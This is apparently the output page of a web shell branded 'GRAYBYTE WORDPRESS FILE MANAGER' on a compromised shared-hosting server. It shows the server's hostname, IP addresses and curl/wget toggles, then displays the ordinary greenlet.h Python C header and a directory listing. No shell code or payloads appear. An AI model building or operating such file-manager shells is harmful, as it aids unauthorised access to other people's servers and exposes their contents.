✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.36
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/hc_python/lib/python3.12/site-packages/greenlet//greenlet.h
/* -*- indent-tabs-mode: nil; tab-width: 4; -*- */

/* Greenlet object interface */

#ifndef Py_GREENLETOBJECT_H
#define Py_GREENLETOBJECT_H


#include <Python.h>

#ifdef __cplusplus
extern "C" {
#endif

/* This is deprecated and undocumented. It does not change. */
#define GREENLET_VERSION "1.0.0"

#ifndef GREENLET_MODULE
#define implementation_ptr_t void*
#endif

typedef struct _greenlet {
    PyObject_HEAD
    PyObject* weakreflist;
    PyObject* dict;
    implementation_ptr_t pimpl;
} PyGreenlet;

#define PyGreenlet_Check(op) (op && PyObject_TypeCheck(op, &PyGreenlet_Type))


/* C API functions */

/* Total number of symbols that are exported */
#define PyGreenlet_API_pointers 12

#define PyGreenlet_Type_NUM 0
#define PyExc_GreenletError_NUM 1
#define PyExc_GreenletExit_NUM 2

#define PyGreenlet_New_NUM 3
#define PyGreenlet_GetCurrent_NUM 4
#define PyGreenlet_Throw_NUM 5
#define PyGreenlet_Switch_NUM 6
#define PyGreenlet_SetParent_NUM 7

#define PyGreenlet_MAIN_NUM 8
#define PyGreenlet_STARTED_NUM 9
#define PyGreenlet_ACTIVE_NUM 10
#define PyGreenlet_GET_PARENT_NUM 11

#ifndef GREENLET_MODULE
/* This section is used by modules that uses the greenlet C API */
static void** _PyGreenlet_API = NULL;

#    define PyGreenlet_Type \
        (*(PyTypeObject*)_PyGreenlet_API[PyGreenlet_Type_NUM])

#    define PyExc_GreenletError \
        ((PyObject*)_PyGreenlet_API[PyExc_GreenletError_NUM])

#    define PyExc_GreenletExit \
        ((PyObject*)_PyGreenlet_API[PyExc_GreenletExit_NUM])

/*
 * PyGreenlet_New(PyObject *args)
 *
 * greenlet.greenlet(run, parent=None)
 */
#    define PyGreenlet_New                                        \
        (*(PyGreenlet * (*)(PyObject * run, PyGreenlet * parent)) \
             _PyGreenlet_API[PyGreenlet_New_NUM])

/*
 * PyGreenlet_GetCurrent(void)
 *
 * greenlet.getcurrent()
 */
#    define PyGreenlet_GetCurrent \
        (*(PyGreenlet * (*)(void)) _PyGreenlet_API[PyGreenlet_GetCurrent_NUM])

/*
 * PyGreenlet_Throw(
 *         PyGreenlet *greenlet,
 *         PyObject *typ,
 *         PyObject *val,
 *         PyObject *tb)
 *
 * g.throw(...)
 */
#    define PyGreenlet_Throw                 \
        (*(PyObject * (*)(PyGreenlet * self, \
                          PyObject * typ,    \
                          PyObject * val,    \
                          PyObject * tb))    \
             _PyGreenlet_API[PyGreenlet_Throw_NUM])

/*
 * PyGreenlet_Switch(PyGreenlet *greenlet, PyObject *args)
 *
 * g.switch(*args, **kwargs)
 */
#    define PyGreenlet_Switch                                              \
        (*(PyObject *                                                      \
           (*)(PyGreenlet * greenlet, PyObject * args, PyObject * kwargs)) \
             _PyGreenlet_API[PyGreenlet_Switch_NUM])

/*
 * PyGreenlet_SetParent(PyObject *greenlet, PyObject *new_parent)
 *
 * g.parent = new_parent
 */
#    define PyGreenlet_SetParent                                 \
        (*(int (*)(PyGreenlet * greenlet, PyGreenlet * nparent)) \
             _PyGreenlet_API[PyGreenlet_SetParent_NUM])

/*
 * PyGreenlet_GetParent(PyObject* greenlet)
 *
 * return greenlet.parent;
 *
 * This could return NULL even if there is no exception active.
 * If it does not return NULL, you are responsible for decrementing the
 * reference count.
 */
#     define PyGreenlet_GetParent                                    \
    (*(PyGreenlet* (*)(PyGreenlet*))                                 \
     _PyGreenlet_API[PyGreenlet_GET_PARENT_NUM])

/*
 * deprecated, undocumented alias.
 */
#     define PyGreenlet_GET_PARENT PyGreenlet_GetParent

#     define PyGreenlet_MAIN                                         \
    (*(int (*)(PyGreenlet*))                                         \
     _PyGreenlet_API[PyGreenlet_MAIN_NUM])

#     define PyGreenlet_STARTED                                      \
    (*(int (*)(PyGreenlet*))                                         \
     _PyGreenlet_API[PyGreenlet_STARTED_NUM])

#     define PyGreenlet_ACTIVE                                       \
    (*(int (*)(PyGreenlet*))                                         \
     _PyGreenlet_API[PyGreenlet_ACTIVE_NUM])




/* Macro that imports greenlet and initializes C API */
/* NOTE: This has actually moved to ``greenlet._greenlet._C_API``, but we
   keep the older definition to be sure older code that might have a copy of
   the header still works. */
#    define PyGreenlet_Import()                                               \
        {                                                                     \
            _PyGreenlet_API = (void**)PyCapsule_Import("greenlet._C_API", 0); \
        }

#endif /* GREENLET_MODULE */

#ifdef __cplusplus
}
#endif
#endif /* !Py_GREENLETOBJECT_H */


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
11 Jun 2026 5.00 AM
root / root
0755
__pycache__
--
11 Jun 2026 5.00 AM
root / root
0755
platform
--
11 Jun 2026 5.00 AM
root / root
0755
tests
--
11 Jun 2026 5.00 AM
root / root
0755
CObjects.cpp
3.566 KB
11 Jun 2026 5.00 AM
root / root
0644
PyGreenlet.cpp
27.523 KB
11 Jun 2026 5.00 AM
root / root
0644
PyGreenlet.hpp
1.429 KB
11 Jun 2026 5.00 AM
root / root
0644
PyGreenletUnswitchable.cpp
4.059 KB
11 Jun 2026 5.00 AM
root / root
0644
PyModule.cpp
8.588 KB
11 Jun 2026 5.00 AM
root / root
0644
TBrokenGreenlet.cpp
0.997 KB
11 Jun 2026 5.00 AM
root / root
0644
TExceptionState.cpp
1.327 KB
11 Jun 2026 5.00 AM
root / root
0644
TGreenlet.cpp
25.624 KB
11 Jun 2026 5.00 AM
root / root
0644
TGreenlet.hpp
28.576 KB
11 Jun 2026 5.00 AM
root / root
0644
TGreenletGlobals.cpp
3.838 KB
11 Jun 2026 5.00 AM
root / root
0644
TMainGreenlet.cpp
3.509 KB
11 Jun 2026 5.00 AM
root / root
0644
TPythonState.cpp
19.15 KB
11 Jun 2026 5.00 AM
root / root
0644
TStackState.cpp
7.208 KB
11 Jun 2026 5.00 AM
root / root
0644
TThreadState.hpp
23.342 KB
11 Jun 2026 5.00 AM
root / root
0644
TThreadStateCreator.hpp
2.702 KB
11 Jun 2026 5.00 AM
root / root
0644
TThreadStateDestroy.cpp
7.986 KB
11 Jun 2026 5.00 AM
root / root
0644
TUserGreenlet.cpp
23.763 KB
11 Jun 2026 5.00 AM
root / root
0644
__init__.py
1.408 KB
11 Jun 2026 5.00 AM
root / root
0644
_greenlet.cpython-312-x86_64-linux-gnu.so
1.32 MB
11 Jun 2026 5.00 AM
root / root
0755
greenlet.cpp
10.828 KB
11 Jun 2026 5.00 AM
root / root
0644
greenlet.h
4.644 KB
11 Jun 2026 5.00 AM
root / root
0644
greenlet_allocator.hpp
1.792 KB
11 Jun 2026 5.00 AM
root / root
0644
greenlet_compiler_compat.hpp
4.244 KB
11 Jun 2026 5.00 AM
root / root
0644
greenlet_cpython_compat.hpp
3.247 KB
11 Jun 2026 5.00 AM
root / root
0644
greenlet_exceptions.hpp
4.397 KB
11 Jun 2026 5.00 AM
root / root
0644
greenlet_internal.hpp
2.703 KB
11 Jun 2026 5.00 AM
root / root
0644
greenlet_msvc_compat.hpp
3.12 KB
11 Jun 2026 5.00 AM
root / root
0644
greenlet_refs.hpp
37.175 KB
11 Jun 2026 5.00 AM
root / root
0644
greenlet_slp_switch.hpp
3.221 KB
11 Jun 2026 5.00 AM
root / root
0644
greenlet_thread_support.hpp
0.847 KB
11 Jun 2026 5.00 AM
root / root
0644
slp_platformselect.h
3.866 KB
11 Jun 2026 5.00 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF